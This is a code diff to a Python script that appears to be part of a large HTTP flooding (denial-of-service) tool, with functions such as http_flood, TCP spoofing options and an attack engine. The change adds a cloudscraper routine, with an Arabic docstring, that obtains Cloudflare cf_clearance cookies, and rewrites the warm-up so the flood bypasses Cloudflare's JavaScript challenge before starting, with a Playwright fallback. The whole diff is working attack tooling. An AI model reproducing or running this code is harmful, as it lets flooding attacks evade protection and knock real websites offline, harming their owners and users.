Update 1.py

1.py

@@ -24,6 +24,13 @@ try:
 except Exception:
     pass
 
+try:
+    import cloudscraper
+    CLOUDSCRAPER_AVAILABLE = True
+except ImportError:
+    CLOUDSCRAPER_AVAILABLE = False
+    print("[!] cloudscraper not installed. Run: pip install cloudscraper")
+
 required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
 if platform.system() == "Windows":
     try:
@@ -2852,6 +2859,42 @@ def get_cf_clearance(url: str, headless: bool = False) -> str:
     return result.get("cookie_header", "")
 
 
+def get_cloudscraper_cookies(url: str) -> str:
+    """الحصول على cf_clearance باستخدام cloudscraper (أسرع وأقوى من Playwright)"""
+    if not CLOUDSCRAPER_AVAILABLE:
+        return ""
+    try:
+        scraper = cloudscraper.create_scraper(
+            browser={
+                'browser': 'chrome',
+                'platform': 'windows',
+                'desktop': True,
+                'mobile': False
+            },
+            interpreter='python'
+        )
+        headers = {
+            'User-Agent': random.choice(USER_AGENTS),
+            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
+            'Accept-Language': 'en-US,en;q=0.9',
+            'Accept-Encoding': 'gzip, deflate, br',
+            'Connection': 'keep-alive',
+        }
+        resp = scraper.get(url, headers=headers, timeout=30)
+
+        if resp.status_code == 200:
+            cookies = resp.cookies.get_dict()
+            cf_clearance = cookies.get('cf_clearance', '')
+            cf_bm = cookies.get('__cf_bm', '')
+            if cf_clearance:
+                print(f"[JS] cloudscraper got cf_clearance: {cf_clearance[:20]}...")
+                return f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
+        return ""
+    except Exception as e:
+        print(f"[JS] cloudscraper error: {e}")
+        return ""
+
+
 def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
     mode_name = "http-app" if app_mode else "http"
     connection_mode = "keepalive" if keepalive else "single-connection"
@@ -3632,38 +3675,39 @@ class UltimateIntegratedEngine:
                         return
 
             if worker_id == 0 and self.use_js_bypass:
-                self._log("[JS] Warming up with Playwright clearance (headless=False)...", "INFO")
-                retries = 0
-                while retries < 3 and not hasattr(self, '_cf_cookie'):
-                    try:
-                        result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
-                        if result.get("cookie_header"):
-                            self._cf_cookie = result["cookie_header"]
-                            self._log("[JS] ✅ CLEARANCE OBTAINED!", "SUCCESS")
-                            break
-                        else:
-                            retries += 1
-                            self._log(f"[JS] Retry {retries}/3...", "WARNING")
-                            await asyncio.sleep(5)
-                    except Exception as e:
-                        self._log(f"[JS] Error: {e}", "ERROR")
-                        retries += 1
-                        await asyncio.sleep(5)
-
-                if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
-                    self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
-                else:
-                    self._log("[JS] Testing clearance on a GET request...", "INFO")
-                    test_headers = {"Cookie": self._cf_cookie, "User-Agent": random.choice(USER_AGENTS)}
+                self._log("[JS] Trying cloudscraper for clearance...", "INFO")
+                cookie = get_cloudscraper_cookies(self.target)
+                if cookie:
+                    self._cf_cookie = cookie
+                    self._log("[JS] ✅ CLEARANCE OBTAINED via cloudscraper!", "SUCCESS")
                     try:
+                        test_headers = {"Cookie": cookie, "User-Agent": random.choice(USER_AGENTS)}
                         async with aiohttp.ClientSession() as session:
-                            async with session.get(self.target, headers=test_headers, ssl=False) as resp:
-                                if resp.status == 200:
-                                    self._log("[JS] ✅ Clearance WORKS! Attack starting.", "SUCCESS")
-                                else:
-                                    self._log(f"[JS] Test returned {resp.status}. May still work.", "WARNING")
+                            async with session.get(self.target, headers=test_headers, ssl=False, timeout=10) as resp:
+                                self._log(f"[JS] Test request returned: {resp.status}", "INFO")
                     except Exception:
                         pass
+                else:
+                    self._log("[JS] cloudscraper failed. Trying Playwright fallback...", "WARNING")
+                    retries = 0
+                    while retries < 3 and not hasattr(self, '_cf_cookie'):
+                        try:
+                            result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
+                            if result.get("cookie_header"):
+                                self._cf_cookie = result["cookie_header"]
+                                self._log("[JS] ✅ CLEARANCE OBTAINED via Playwright!", "SUCCESS")
+                                break
+                            else:
+                                retries += 1
+                                self._log(f"[JS] Retry {retries}/3...", "WARNING")
+                                await asyncio.sleep(5)
+                        except Exception as e:
+                            self._log(f"[JS] Error: {e}", "ERROR")
+                            retries += 1
+                            await asyncio.sleep(5)
+
+                    if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
+                        self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
 
             while self.running and not self.stop_requested:
                 with self.lock: